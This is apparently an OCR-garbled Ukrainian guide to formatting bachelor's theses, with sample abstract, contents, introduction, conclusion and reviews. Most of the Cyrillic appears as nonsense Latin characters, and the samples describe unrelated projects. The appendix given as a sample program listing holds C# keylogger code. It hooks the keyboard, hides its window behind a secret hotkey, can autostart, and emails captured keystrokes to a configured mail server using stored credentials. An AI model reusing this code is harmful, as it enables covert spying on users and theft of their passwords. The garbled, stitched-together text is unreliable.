VY BcTyni po3riisiaeThCs aHalll3 Ta Cy4acHUM CTaH Mpo0IeMH, KOHKPETU3YEThCS
MeTa KBasli(ikaliiHOi poOOTH Ta raily3b ii 3aCTOCYBaHHS, HABEJIEHO OOIPYHTYBaHHS
aKTyaJIbHOCTI TEMU Ta YTOYHIOETHCS IOCTAHOBKA 3aBIaHHS.

Y nepmoMy po3aull  NMPOAHANI30BaHO MPEAMETHY Tally3b, BHU3HAYEHO
aKTyaJIbHICTh 3aBJIaHHS Ta MPHU3HAYEHHS PO3POOKH, CHOPMYJIBOBAHO IMOCTAHOBKY
3aBJIaHHS, 3a3HAYEHO BUMOTH JI0 MIPOTpaMHOi peatizallii, TeXHOJOT1i Ta MporpaMHuX
3ac001B.

VY npyromy po3aun mpoaHai30BaHI HasBHI PillIeHHS, 00paHo MmIaTGopmMu s
pO3pOOKH, BHUKOHAHO TPOEKTYBaHHS 1 pPO3poOKa Mporpamu, omucaHa poOoTa
IporpamM, airopuT™M 1 CTPYKTypa ii (PYHKUIOHYBaHHS, a TaKOXX BHUKIUK Ta
3aBaHTaXEHHS NPOrpaMM, BU3HAYEHO BXIJAHI 1 BUXIAHI JaHi, OXapaKTEPHU30BAHO
CKJIaJl TapaMeTpiB TEXHIYHUX 3aCO0i1B.

B ekoHOMIYHOMY  pO3IUIi  BU3HAYEHO  TPYJIOMICTKICTH  PO3POOJIEHOI
1H(pOpMaIITHOT CUCTEMH, TPOBEACHUIN MIAPAXyHOK BAPTOCTI pOOOTH MO CTBOPEHHIO
IporpaMu Ta po3paxoBaHO Yac Ha HOTO CTBOPEHHSI.

[TpakTHuHe 3HAa4YEHHS MOJSATa€ y CTBOPEHHI J0jAaTKa, U0 HaJlae MOXJIHUBICTb
€JIEKTPOHHOTO 30epiraHHs JaHHUX PO TOBAPH, MPOAXKi, HATXOKEHHS, BEJICHHS 0a3u
JaHUX, MIOUTTS MIJCYMKIB 3 MPOJAaXXy, OTPUMaHH 3BITIB 1 (OpMYyBaHHS CYMyTHBOT
JIJIOBO1 TOKyMEHTAITI].

AKTyanpHICTh 1H(GOPMAIIHOI CHCTEMH BU3HAYAETHCA BEJIMKUM IOMUTOM Ha
noai0HI po3pOOKH, IO ONTHUMI3YIOTh Ta CIPOIILYIOTh il MO0 BeJACHHS 0a3u JaHUX
CKJIay-MarasuHy, CKOpPOYYyIOTb dYac Ha OQGOpPMJICHHS MPOJaX; MiJBUIIYIOTh
e(EeKTUBHICTh JISJIbHOCTI Mara3uHy LUISIXOM €JIEKTPOHHOTO BEJICHHS JTOKYMEHTAllli 3
MOXJIMBICTIO aHaJli3y HAasBHUX JIaHUX 1 HaJaHHS HEOOXIAHUX 3BITIB 1 CYMYTHBOI
JIJIOBOT JJOKYMEHTAITI1.

Crmmcox  kimouoBux cimie:  CKJIAJ[, KOMIT'IOTEP, IH®OPMAILIMHA
CUCTEMA, OBJIIK, AJII'OPUTM, IPOEKTYBAHHA, MEHIO, BKJIAJKA,
JOIATOK.
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JTOJATOK I
3PA30K O®OPMJIEHHS 3MICTY

3MICT

PO3/ILI 1. AHAJII3 ITIPEJJMETHOI CAJTY3I TA IOCTAHOBKA 3ABJIAHHS

1.1.
1.2.
1.3.
1.4.
1.5.

1.5.1.
1.5.2.
1.5.3.
1.5.4.

3aranapHi BIIOMOCTI 3 TIPEIMETHOT TAITY31. ..t euveeeteeneeenieenneanneennnennnss
[Tpu3HavueHHS PO3POOKH Ta TATY3b 3ACTOCYBAHHS . .. v euveeneeeneaneanaennenn
[Ti1CTaBA JITIST POBPOOKH. .. veeneeeeteeeteete et eeeee et e eae e e eaeeena,
D63 13 (03 BeTe1:9i €13 0 ; ST
Bumoru 1o nporpamu a00 MPOTPAMHOTO BUPOOY...uuvveeenrieeanreeennnennnn.
Bumoru 10 QyHKITIOHATTBHUX XAPAKTEPUCTHK. ... uveeneeenneeenneenneenneeanss
Bumoru 10 1HPOPMALIAHOT OCBIMEKH .. ... .veeneeenttaieeeeeeeeieaiiieaaeaen
Bumoru f0 ckiiagy Ta mapaMeTpiB TEXHIYHHUX 3aC001B. ...oovveueeeeeeannannnn..

Bumoru n0 iHpopMaIiiifHoi Ta IPOTPAMHOT CYMICHOCTI +.'vvvnveenneennnnnnn..

PO3JILJI 2. IPOEKTYBAHHS TA PO3POBEKA THOOPMAIIMHOI CUCTEMU..

2.1.
2.2.
2.3.
2.4,
2.5.
2.6.

2.6.1.
2.6.2.
2.6.3.
2.6.4.

OYHKIIOHATBHE MPUZHAYCHHS CHCTEMH . .. e .eeneeenteneeateentenienieennenneenenns
Onuc 3aCTOCOBAaHMX MATEMATHUHUX METOIB. ... vveuteneeneennenneennanneanens
Onuc BUKOPUCTAHUX TEXHOJIOTIH T4 MOB IMPOTPAMYBAHHS. . ... uveeenannns..
Onuc CTPYKTYpH CUCTEMU Ta AITOPUTMIB 11 QYHKIIOHYBAHHS ....vvvvvvennn....
OOrpyHTYBaHHS Ta OpraHi3allis BXiIHUX Ta BUX1IHUX JAHUX [IPOTpaMu. ...
Onuc pOOOTH PO3POOITCHOT CHCTEMU . ... uvveeenteeennreeeneeeaneeeaaneeeanneens
BUKOPHUCTAHT TEXHIUHT 3ACO0M. . ... tvnveeenteetteteeatteaeeeteeeeeneeneanneenns
BukOpHCTaH1 MPOTPAMHIT BACO0M. ...\ttt ettt eetteeieeeieeeeeeeeiaeeannans
BUKIHK Ta 3aBAHTAKEHHS TIPOTPAMI. ... neeeeeneentteneenneeneeneenneaneeneennenn.

OnUC THTEPPEHCY KOPHUCTYBAUA. ... uesveennreennreeanreeennneeanneeeaaneeeanneeans



PO3JIJI 3. EKOHOMIKAL.......oii e
3.1.  Po3paxyHOK TpyIOMICTKOCTI Ta BAPTOCTI PO3POOKH MPOTPAMHOTO MIPOIYKTY.
3.2. PaxyHOK BUTPAT Ha CTBOPEHHS TIPOTPAMHU. ... .nueenetenneenneenneennneanneannens
BUCHOBK. ... e
CITMCOK BUKOPUCTAHUX JIKEPEJL. ..o
JIomATOK A. KO TIPOTPAMIE . ... ..vtteteeette e ettt e e e e e et e e e e eee e e eanee e
Jlomatok b. Biaryk kepiBHUKA TATIIOMHOTO TTPOCKTY .. .vuneveenreenreenneenneennneennenns
JIoImATOK B. PeIICHBIM. ...ttt
Honatok I'. BiAryk KepiHUKA €KOHOMIYHOTO PO3IIITY .. vvvnnreennneeennneeennneennnnenns

Honatox 1. TIepemik QailiB HA JTUCKY . ... euurttenteeentteenteeennteeennaeeaneeeanneenns
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JTOJATOK 11
MPUKJIAJ O®OPMJIEHHS NEPEJIIKY YMOBHHMX MNO3HAYEHD

HEPEJIIK YMOBHUX ITO3HAYEHb

bJ1 — 6a3a maHux,

['A — reHeTUYHHUI aNTOpPUTM;

['3K — ripanuo-36arauyBajibHU KOMOIHAT;

I'lC — reoindopmariiina cucrema,

['ICIIIIP — reoindopmaniiina cucteMa MiATPUMKA MPUNHATTS PIIIECHb;
['TIK — rpaHu4HO-TIpUITyCTUMAa KOHIICHTPALIis;

MHK — meTon HaliMEHIIMX KBaJIpaTiB;

[TiBaI 3K — niBHIYHUH TipHUYO-30aradyyBajbHUN KOMOIHAT;

OI'3K — OpmxoHIKII3€BCbKUHM TIpHUYO-30arauyBajibHUN KOMOIHAT;
OIIP — ocoba, 110 mpuiiMae pilieHHs;

CIIIIP — cuctema miATPpUMKU IPUNAHATTSA PIIICHb;

UML - Unified Modeling Language.
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JIOJIATOK K
MPUKJIAJL O®OPMJIEHHSI BCTYITY

BCTYII

3aBgaHHS JAHOTO JUIUIOMHOTO TIPOEKTY Ta OO0'€eKT WOro JisIbHOCTI
Oe3nocepelHbO TOB'SI3aHI 3 HampAMOM MIATOTOBKH «Komm’ioTepHi HayKu» Ta
BIJINOBIJIA€ y3arajdbHEHIM TeMaTulll KBami(iKamiiHUX poOIT 1 MEpeiKy 3a3HauyeHUX
BUPOOHNYUX (PYHKIIIH, TUIIOBUX 3a7a4 AISUTbHOCTI, YMIHHIO Ta KOMIIETEHIIISIM, SKUMU
noBuHHI BosoaiTh OakanmaBpu Hampsimy 6.050101 «Komm’rorepHi Haykm» ramysi
3Hanb 0501 «IHpopmatuka Ta oOUHMCIIOBaiIbHA TeXHIKa» 3rigHO OCBITHBO-
kBaidikamitHii xapakrepuctuui [10, n. 3, Tabnus 1]. Bukonanss kBamidikaiiiinot
poOOTH HaJa€e MOKIUBOCTI OTPUMAHHS aBTOpy KBamidikaiii «daxiBenp B ramysi
1H(OpMaIIHHUX TEXHOIOTIH ».

Po3pobnena iHdopmaniiiHa cucteMa MpU3HAYEHa ISl 3aCTOCYBaHHS y cdepi
KOJIIHHOTO TOCIIOAapCTBRa.

3ai3HUYHA KOJMISl - 1€ KOMIUIEKC IHXKEHEPHUX CHOpYH, NPU3HAYEHUH IS
MIPOTYCKY 1O HOMY IT0i3/1B 3 BCTAHOBJICHOIO MIBUAKICTIO. Bi1 cTaHy KoJIii 3a/Ie’KaTh
Oe3rnepepBHICTh 1 Oe3meka pyxy IMOi3/iB, a TaKoXK €(EeKTHBHICTh BUKOPUCTAHHS
TEXHIYHUX 3aCO01B 3aJ113HULIb.

J10 KOJIIIfHOTO TOCTIOAPCTBA 3aJII3HUYHOTO TPAHCTIOPTY HAJIEKATh MUISIX 3 yciMa
Horo cropyjamMu Ta MNPUCTPOSIMH, @ TAaKOXK KOMIUIEKC BUPOOHWYHUX MIAPO3AUIIB 1
rOCMOJIAPChKUX MIAMPUEMCTB, TNpPHU3HAUYEHUX IS 3abe3reueHHst Oe3nepediitHol
poOOTH 3aII3HUYHOI KOJIi Ta MPOBEACHHS HOTO IJIAHOBO - MOMEPEIKYyBaIHLHOTO
peMoHTy. CTpYKTYpHUMH TiApO3AiaMy KOJTIHHOTO TOCIOJAapCTBA € TUCTAHINT KOMii,
MUCTAHIN] JIICO3aXUCHUX HACaKEHD 1 IUITXOB1 MAIlIMHH1 CTAHII].

3ani3HUYHUN NUIIX (QYHKIIIOHYE MPU PI3HUX MOTOJHUX YMOBax, CIPUAMAIOYH
BEJIMKI HABaHTAKCHHS BIJ TMOI3AIB, IO MPOXonaiTh. IIpu 1bOMYy BCi €JIE€MEHTH
3aJI3HUYHOI KOJIl (3eMJIIHE TMOJIOTHO, BEpxHS OyAoBa Ta IUTYy4YHI CHOpYIW) 3a

MIIHICTIO, CTIMKICTIO 1 TEXHIYHUM CTaHOM MaloTh 3abe3reuyBaTu Oe€3MeuyHui 1
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IJIABHUW  PyX MACAKHUPCHKUX Ta BaHTAXKHUX TOI3IB 31 IMIBHIKOCTSIMH,
BCTAHOBJICHUMH HA JaHIN JTUISHII.

AHaii3 HeOe3leK 03BOJISE BHU3HAYUTH JKepenaa HeOe3IeK, IMOTEHIIHI
aBapii, MOCHIOBHOCTI PO3BUTKY IMOAIN, BEJIUYUHY PHU3HUKY, BEIUUYHHY HACIIIKIB,
IIUISIXM 3a11001TaHHs aBapiii Ta MOM'SKIIICHHS HACJIIIKIB.

J171s1 BUKOHAHHSA 3a3HaY€HUX BUMOT MOCTIHHO MPOBOASTHCS POOOTH 3 MTOCHIICHHS
HeCcy4oi 3[aTHOCTI 1 HaaidHOCTI BCix eneMeHTiB koiii. Lli poGoTu 3acHOBaHI Ha
Oe3nepepBHOMY  JOKYMEHTYBAaHHI CTaHy KOJIi Ta BHUSBICHHI  MOXJIMBUX
HECIPaBHOCTEH, IXHIX MPUYMH Ta PEKOMEH/IAIIH 1MI0A0 iX YCYHEHHS.

Tomy npoOnema, po3risiHyTa B JaHOMY JUIJIOMHOMY IIPOEKTI, € aKTyaJIbHOIO Ta
Mae€ MMUPOKE MPAKTUYHE 3HAYCHHS.

MeToro 1aHOTO TPOEKTY € po3poOKa CUCTEMHU EJIEKTPOHHOTO JOKYMEHTYBAaHHS
00JIIKy TEXHIYHOTO CTaHy 00’ €KTIB 3aJI13HUIII.

JI71st TOCSATHEHHS TTOCTABJICHOI METH HEOOX1THO BUPIIIUTUA OCHOBHI 3aBJIaHHS:

— aHaJi3 oprasizailii poOiT 3 OISy IUCTAHINT KOJIIi,

— YTOYHEHHS BUMOT JIO TIPOIIECY JOKYMEHTYBAaHHSI OTJISIIIB;

— po3po0Kka anropuTMy, 0a3u JaHuX 1 peasizailii IporpamH.

VY BiJNMOBITHOCTI J0 MPOBEICHOTO aHaJi3y MOCTAaBJICHI OCHOBHI (DYHKITIOHAJIbHI
3a/1a4i nepeJi CUCTEMOIO:

— TPUCKOPEHHS Yacy O(QOpMIICHHS 3BITY MPO MPOBEACHUN TEXHIYHUN OTJIS
00’ €KTIB 3aJII3HULL;

— 3HW)KEHHS pU3MKIB BTPATH a00 MCYBAHHS TOKYMEHTIB;

— 30unbieHHs e()EeKTUBHOCTI BeJIEHHS 00JIIKY HECIIPaBHOCTEH;

— TPUCKOPEHHS Yacy (opMyBaHHS 3BITY PO HEOOX1THUIA PEMOHT.

B umimomy, cucrema 3abe3nedye MIATPUMKY MMIABUIICHHS SIKOCTI IIUIAXiB
3QJII3HUYHOIO TOCTOJApCTBa 1 3HAYHO TMOJIETIIYE CKJIQJaHHS aKTa KOMICIMHOTO
ormsiny. Po3pobneny iHpopmaliiiHy cHCTEeMy MOXYThb BHKOPHUCTOBYBAaTH BCl
omepaTopy OB TEXHIYHOIO CTaHy KOJii, mo 3aaisHi B cdepi KoJaidHOrO

rocrnogapcCTna.
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JIOJIATOK K
MPUKJIAJL O®OPMJIEHHSI BACHOBKY

BUCHOBKU

MeToro AUMIOMHOTO MPOEKTY OYJI0 CTBOPEHHS HABYAIBHOTO CAaWTy, 10 3MOXKE
BUKIIMKATH B y4YHIB 1HTEpEC Ta 3alliKaBJICHICTb y OTPUMAaHHI TTTUOOKHUX 1 CTIMKHX
3HaHb 3 (Qi3uku. PoboTa € akTyalpbHOIO JJIA Y4YHIB, 110 BUBYAIOTH PO3JUIT (h13UKH
«EnextponnnHamika», Ta 0aXaroTh MEPEBIPUTH BKe HAOyTI 3HAHHS 3a JOMOMOTOIO
TECTIB.

HaBuanpHi mporpamMu Ha JaHUW MOMEHT 4acy € JOCHTh KOPHUCHHMH, BOHHU
JOTIOMAararoTh YYHSIM y BUBYEHH1 MaTepiaily. Taki MPOEKTH € JOCUTh aKTyaJlbHUMHU 1
MarTh MUPOKUd monuT. OCHOBHA 3ajladya pO3pOOJIIOBAIBHOTO JOJATKy TOJISITaE B
3QJIy4eHHI BEJIMKOI KIJBKOCTI YYHIB JI0 HaBYAJIBHOrO Iporecy. Takui miaxina
ypi13HOMaHITHIOE (OpMYy HaBYaHHS ¥ IHTEPAKTUBHICTh IMIJI 4Yac YPOKY, OlIbIe
npuBepTae yBary y4HiB. CallT poOWTh BUBUEHHS BUBYCHHS MaTepially I[IKaBIIIMM.
BuknanayeBi 3py4HO MOCWJIATUCS HA CaWT, 3a0XOUYYIOYH YYHIB JO CHIJIBHOI poOOTH
abo rpu.

[Iporpama He TUIBKM TpU3HAYEHA JJIA JIOTIOMOTH YYHSM TIOJOJIATA TPYJIHOIII
IpyU BUBUCHHI TEMH, a TaKOX Ma€ Ha METI 3alllKaBUTH iX Ta CIOHYKAaTH [0
MOJANBIIOr0 JETAIBHOTO 1i BHBYEHHSA. Takox, po3poOJieHH moaaTok Oyje
KOPUCHUM 1 BUKJIaJadyaM SIK JIOJATKOBUW MaTepian, SKUi MOXKHA JTaTH YYHSIM IS
TOTO, 100 B MOJAJIBIIOMY 3aI[IKaBUTH iX.

OxpiM 1OTO, BUBYCHHS po3aAuly «EnekTpoauHamikay Ha ypoKaxX TaKOX
notpedye AESKUX 3yCHib — I TeMa JOBOJI CKJIagHa. AJie caMe 3aBIsIKH TaKOMY
MIIXOQy /[0 HAaBYAHHS MOXXHA TPUILBHALLIMTU MpOIEC Mi3HAHHSA a00 TepeBIpUTH
OTpUMaHi 3HaHHSI.

OTxe, roJIOBHa MeTa CTBOPEHHS JAHOTO MPOEKTYy — JOMOMOra YYHSIM Yy

BUBYCHHI JaHOI TEMH, BIH TaKOXX MOXKE TaKOXX OyTH BHKOPUCTAHUU JIFOJABMH, SKi
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TIIBKY TIOYAJIHM BUBYATH L0 TEMY, ajpKe y po3aui «Teopis» MICTIAThCS JOBiAKA MPO
OCHOBHI1 MIOHATTS €JIEKTPOAUHAMIKH.

CaliT 3po0OJieHHil 3a JIOMIOMOrOK TakMX MOB Web-mporpamyBanus: PHP,
JavasScript, a Takoxx HTML5, MySQL, CSS.

[1i1 yac BUKOHAHHS IaHHOI TUIUVIOMHOI poO0TH Oy/IM BUKOHAH1 HACTYIIHI 3aj1a4i:

1. OsHaiioMuBIIEHHA 31  HIKUJIBHUM  KypcoM  GI3UKM  Ha  TeMy
«Enextpoannamika.

2. JlocmimkeHHs Ta aHali3 TeMy «EHeproeeKTUBHICTh DKEPE CTPYMY».

3. CrpykTypyBaHHS MaTepiaiy 3 JaHOI TEMHU.

4. Po3po0iieHHS METOAY TECTyBaHHS 3 BABUEHOIO MaTepialy.

5. Po3pobiienHs anroputmMy poOOTH IPOrPaMH.

6. CTBOpEHHS HABYAJIBHOTO CAMT 13 3py4YHUM 1HTEpPeiicom.

Ctopenwuit Web-m01aTok Ma€ HaCTYITHI BIIACTHBOCTI:
Hanae MOXIMBICTh KOPUCTYBAYEB1 CAalTy 3apeeCTPyBATHUCH.
[lepernsa 1OCTYMHUOTO MaTepiady JJisl BUBYCHHS JUCHUILTIHU.
IIpoxomKEeHHs TECTyBaHHS.

OTpuMaHHS PEUTUHTOBOI OLIIHKI 32 TECTyBaHHS.

A S o

VY BuUrIsi rpu BUBYCHHS OCOOJIMBOCTEH HABEICHOTO MaTepiaiy.

6. bynyBanus rtpacdikiB 3anexnocti KKJ[ Big omopy Ta Hampyru Bia CHIIM
CTpyMY.

CtBopeHa mporpama HaJa€ KOPUCTyBady MOKJIUBICTh O3HAHOMHUTHCH 3
HEOOX1THUM MaTepiasioM 1 3aCTOCYBAaTH HOT0 Ha MPAKTHIL.

BusznaueHo TpyaoMICTKICTh po3po0seHoi 1HpopmariiiiHoi cuctemu (1513 mron-
rojl), MPOBEICHUIN MiJIPaXyHOK BapTOCTI POOOTH TO CTBOpeHHIO mporpamu (49605

I'PH) Ta pO3paxoBaHO Yac Ha ioro ctBopeHH (8,6 Mic).
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JOJATOK M
MPUKJIAJ] BAXITHOTO KOJIY KOMITIOTEPHAX ITPOTPAM

JIUCTHUHI IPOI'PAMHA

UNIT1.cs // ronoBHH#I MOAYIb OPOrpaMu

[/Imimxmodaemo moTpiGHi 6ibmioTekn

using System;

using System.Collections.Generic;

using System.Text;

using System.l0O;

using System.Windows.Forms;

using System.Net;

using System.Net.Mail,

using System.Xml;

using Microsoft.Win32;

// BCTAaHOBJIFOEMO CJIOBHUK CHMBOJIIB y PI3HHMX MOBHHUX PO3KJIaIKaX:
List<Keys> pressedKeys;

Dictionary<uint, char[]> symbolsdict = new Dictionary<uint, char[]>()

{41, new char[J{"", ~', &, 'E'} },

{52, new char[]{".", >', ', 1O} },
{53, new char[]{/,'?, """} },
3
int locale;
//BKazyeMo 1uIsX 10 (hailny HaJTaIlITyBaHs:
string cfgdfile;
XmlIDocument document;
//TTalimMep 4acTOTH BiANPABKH JIUCTIB:
System.Windows.Forms.Time rtimer = new System.Windows.Forms.Timer();
//SIKIIIO TTporpama 3aImyCTHIIACs, TO
public Form1(){
InitializeComponent();
_pressedKeys = new List<Keys>();
locale = 0;
//3amIcyeMo UISAX 10 (aiiy:
cfgfile = Application.ExecutablePath;
cfgfile = cfgfile.Remove(cfgfile.Length - 3) + "xml";
//akio daiin Bxe icHyE, TO:
if (File.Exists(cfgfile)){
try
{

document = new XmIDocument();
document.Load(cfgfile);
checkBox1.Checked = Convert.ToBoolean
(document.GetElementsByTagName("AutoStart")[0].InnerText);
ChangeAutoStart();
checkBox2.Checked =
Convert.ToBoolean(document.GetElementsByTagName(""Hide")[0].InnerText);
textBox1.Text = document.GetElementsByTagName("BuffSize")[0].InnerText;
textBox2.Text = document.GetElementsByTagName("TimeDelay")[0].InnerText;
timer = new System.Windows.Forms.Timer();
timer.Interval = Convert. Tolnt32(textBox2.Text) * 60 * 1000;
timer.Tick += OnTimedEvent;
timer.Start();
textBox3.Text = document.GetElementsByTagName("MailServer")[0].InnerText;
textBox4.Text = document.GetElementsByTagName("MailPort")[0].InnerText;
textBox5.Text = document.GetElementsByTagName("MailLogin")[0].InnerText;
textBox6.Text = document.GetElementsByTagName("MailPass")[0].InnerText;
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catch (Exception)

MessageBox.Show("Omi6ka B daiine koupurypanun. Y pamure ero");
}
}
//Tlpu HaTHCKAHHI KIaBiIIL:
void KBDHook_KeyDown(Hooks.LLKHEventArgs e)
{
//aK110 Takoi KiaBilli 3apa3 HEMa€ y CIUCKY HaTUCHYTOI, TO:

if (1_pressedKeys.Contains(e.Keys))
{ _pressedKeys.Add(e.Keys);
}

//SK1I0 OYyJIM HATHCHYTI Taki KJIaBilli, TO BiKPHUBAEMO CXOBAHE BIKHO!
if (_pressedKeys.Contains(Keys.LControlKey) && _pressedKeys.Contains(Keys.LShiftKey) &&
_pressedKeys.Contains(Keys.LMenu) && _pressedKeys.Contains(Keys.H))
{ Show();
}
//ak110 OyJM HATUCHYTI TaKi KJIaBillli, TO 3MIHIOEMO PO3KJIAJIKY KiIaBiaTypH:
if (_pressedKeys.Contains(Keys.LShiftKey) && _pressedKeys.Contains(Keys.LMenu))
{ locale = (locale + 2) % 4;

}
int shift = (_pressedKeys.Contains(Keys.LShiftKey) || _pressedKeys.Contains(Keys.RShiftKey))?1:0;
// A0Ja€EMO HATUCHYTY KJ'IaBiH.Iy Y CIIMCOK 3 YpaxXyBaHHSAM PO3KJIaAKH KnaBiaTpr:
if (symbolsdict.ContainsKey(e.ScanCode))
{
textBox7.Text += symbolsdict[e.ScanCode][locale+shift];
}
}

//sIK1110 TIporpama 0ysia 3aKpHuTa, TO:
private void Form1_FormClosed(object sender, FormClosedEventArgs €)
{
//BIIKITIOYAEMO TTACTKY:
Hooks.KBDHook.UnlInstallHook();
//30epiraemo Gaiin HaJamTyBaHb:
document.Save(cfgfile);
//3ynuHsIeEMO Taiimep:
timer.Dispose();

//SIKIIO TIpYM HATHCKaHHI KJIABIII JOBKUHA MEPEBICHIIa HOPMY, TO:
private void textBox7_TextChanged(object sender, EventArgs €)

if (textBox7.Text.Length >= Convert. Tolnt32(textBox1.Text))
SendMail(textBox3.Text, Convert. Tolnt32(textBox4.Text), textBox5.Text, textBox6.Text,

"KeyHook", "TTocnenuue " + textBox1.Text + " cumposos\r\n" + textBox7.Text);
textBox7.Clear();

¥
¥

UNIT2.cs

UNITN.cs
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JIOJIATOK H
MPUKJIAJ] BIUI3UBY KEPIBHUKA JUIIJIOMHOTO TIPOEKTY

BIJ3UB
HA JUILIOMHHMH NMPOEKT 0aKajiaBpa
HA TeMy:
"Po3poOka indopmaniiiHol cucTeMu AJi51 MiATOTOBKH
HOBHHHMX BHUITYCKiB /10 edipy"
cryaentku rpynu KH-14-1 IsanoBoi Mapunu BikTopiBHu

Po3pobrniena B aummiioMHOMY TPOEKTI iHGOpMalliiiHa cucTeMa MpU3HaueHa s
IJIaHYBaHHSI Ta opraHizaiii poOOTH 3 HOBUHHUMHU BHUITYCKaMHU, BEPCTKU BHUITYCKIB 1
dhopMyBaHHI HEOOX1THOT TEXHOJIOTTYHOT JOKYMEHTAITI].

AKTyanpHICTh PO3POOJICHOI CHCTEMH TIOJSITa€ B CTBOPEHHI MPOTrpamMHOrO
MPOAYKTY, 10 JT03BOJISIE MIABUIIUTH €(EKTUBHICTH POOOTH TEICKAHAIIB.

JIJist BUpIIIEHHS TOCTaBJICHUX 3a/1ad MpHU po3poOIll cUCTEMHU OynH 3A1HCHEH1
HACTYIIHI JIii:

1. Po3po0Oka JIOri4HO1 MOJIEN1 IPOTPAMH.

2. CtBOpeHHs 0a3u JaHUX.

3. Po3poOka nmpocTtoro i 3po3ymuioro inrepdeiicy nporpamu.

4. 3abe3mneueHHs nocTyny 10 ganux bJI.

Honatox po3pobsiennit Ha MoBi Object Pascal B cepemoBumii Delphi 2010 3
BUKOPUCTAHHAM MOBH CTPYKTYypOBaHHX 3anuTiB SQL.

[IpakTyHa 3HAYMMICTH CTBOPEHHS JIAaHOTO MPOTPAMHOTO MPOAYKTY TOJISATAE B
MO>KJIMBOCTI BECTH KOJICKTUBHY POOOTY HaJ BUITYCKaMH, HOBUHAMHU Ta iX apXiBoM, a
TaKO0’X KOHTPOJIIOBATH CTYIIHb TOTOBHOCTI BUITYCKY 10 edipy.

[Ipane3naTHicTh IPEICTABICHOT MPOTPaMU TIATBEPIKEHA HAJAroHKyBaIbHUMHU
BUNPOOYBAHHIMH Ta TECTYBAHHSM MPOTPAMHU.

B exkoHOMIYHOMY pO3JAUII BHU3HAYEHO TPYAOMICTKICT po3pobienoi IC,
MIPOBEICHUI MIAPAaXyHOK BAPTOCTI pOOOTH MO CTBOPEHHIO MPOTPAMHU Ta PO3PAXOBAHO
4ac Ha MOro CTBOPEHHS.

TeMa IUIIOMHOrO MPOEKTY Oe3MocepeHbO TMOB'sI3aHa 3 00'€KTOM ISIIBHOCTI
Oaxanapa 3a HanpsamoM miaroroBku 050101 Komm’roTepHi HayKH.

OdopmiteHHS TIOSCHIOBAJIBHOI 3alMUCKH JO0 JTUIJIOMHOTO TPOEKTY BHKOHAHO
BI/IMOBIZHO JI0 CTaHJAPTIB Ha MPOTrpaMHy JOKyMeHTallito. HemomikoMm posriasiHyTol
poOOTH € HEMOBHUI ONUC ANTOPUTMY (DYHKIIIOHYBAHHS CHCTEMH.

JIumioMHMIA POEKT BUKOHAHUI CAaMOCTIMHO Ta 3aCIIyTOBY€E OIIHKU «BiIMIHHOY,
a ctyneHntka IBanoBa Mapuna BikTopiBHa pUCBO€HHS i kBamidikalli OakaiaBpa 3a
CHeIiabHICTIO «(haxiBelb B ramy3i iHGopMaIiiHuX TEXHOIOT1.

KepiBHMK JUIITIOMHOT0 IPOEKTY
poueHt kag. II3KC, k.1.H. JI.M. Koporenko
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JIOJIATOK I
MPUKJIAJ PELEH3Ii 30BHIIIHHOTO COELIAJICTA

PEINEH3IA

Ha IUIUIOMHUI MPOEKT 0aKkajaBpa
HA TeMy:
"Po3poOka indopmaniiiHol cucTeMu AJi51 MiATOTOBKH
HOBHHHMX BHITYCKiB /10 edipy"
cryaentku rpynu KH-14-1 IsanoBoi Mapunu BikTopiBHu

MeToro JHMIUIOMHOTO MPOEKTY € Po3poOKka 1H(OpPMAIIAHOI CHCTEMH, UIO
3a0e3reuye MIaHyBaHHS Ta OpraHizallilo poOOTH 3 BUITYyCKaMU HOBHH.

AKTyaJIbHICTh PO3pOOJIEHOI CHUCTEMH IMOJISATa€ B CTBOPEHHI MPOrPaMHOTO
MPOAYKTY, 110 J03BOJISIE MIABUIIUTH €(EKTUBHICTH POOOTH TEJIEKAaHAIIB B YMOBax
0OMEKEHOTO q)iHchyBaHH;I

VY TNOsACHIOBaJIBbHIA 3alUCLl PO3MVISAHYTO HEOOXIJHICTh CTBOPEHHS 1 C(bepa
3aCTOCYBAHH pO3po0JIeHOI, BUKOHAHO TIIOCTAHOBKY 3aBJIaHHS, OINUC BXIIHHUX 1
BUXIIHUX JaHUX, pO3pOOJICHO JIOTIYHY CTPYKTYpy Mporpamu, po3poOIeHO
1H(popmarliiiHe 3a0e31e4YeHHs] CUCTEMH, HABEIEH] 3arajibHl BIJOMOCTI PO AOJATOK Ta
Horo (yHKIIOHAJIbHE MPU3HAYCHHSI, 3a3HAY€HI BUKOPUCTOBYBAHI TEXHIYHI 3ac0o0W,
BH3HAYCHI JKepesa, BAKOPUCTAHI IIPU PO3POOIII.

3anpornoHoBaHa B JaHOMY IuIuioMHOMY TipoekTi IC po3pobiiena Ha MoBi Object
Pascal B cepenoBumi nporpamysanss Delphi 2010 3 Bukopuctanusam moBu SQL.

Brakaro 3aBIaHHS 1 3MICT JUIJIOMHOTO MPOEKTY BIATOBIIHUM JUIS TIEPEBIPKH
CTYIEHsI mAroToBieHocTi IBaHoBoi M. B. 3a Hanpsimom 122 KoM’ roTepHi HayKH.

Cnucok JnitepaTypu, HaBeIeHUH B poOOTI, Hamiuye Ouibiie 20 xepeln, 1o
CBIIYUTH MPO BMIHHS aBTOpa MpAIIOBAaTH 3 JITEPaTypoOr0 Ta IHIIMMHU JKEpeliaMu
1Hpopmarrii.

AxicTb 0pOpMIIEHHS AUIUIOMHOTO MPOEKTY MOXHA BU3HATHU 3aJ0BLIBHONO, BIH
CYNPOBOJIKYETHCS IOCTATHHOIO KUIBKICTIO MaItOHKIB (15) 1 11 Tabnuisamu. B poboTi
MPUCYTHI 3aKJIIOYHI BUCHOBKH. OGOpPMIICHHS TIPOrpaMHOI JTOKyMEHTallli B HUIOMY
BigmoBigae €CII/.

[Ipane3natHicTh i€l 1H(hopMaiiHoT CUCTEMH H1TBEPIKYETHCS
eKCIUTyaTal[liHUMK BUIPOOYBaHHSIMHU.

PiBeHb TeOpEeTUYHOT Ta MPAKTUIHOI MIATOTOBKU aBTOPA, JIOTIKA 1 CTHJIb BUKJIATY
MaTepiany B UIJIOMY BiJNOBIIa€ KBaM(PIKALIITHUM BUMOTaM.

HenonikoM po3riisiHyToi poOOTH € HE JOCTaTHBO OOTPYHTOBAHUM BUOIp JOTTYHOI
CTPYKTYPH 1 alTOpUTM (DYHKITIOHYBAHHS CHCTEMH.

Jlunnomuwmii mpoekT IBanoBoi Mapunu BikTopiBHU 3aCiIyTOBY€E OITIHKH «7100pe
1 mpucymKeHHs ii aBTopy KBamigikarii OakanaBpa 3a CHEIIabHICTIO «(axiBelpb B
ranxy3i iHpOpMAaIITHIX TEXHOJIOT1H.

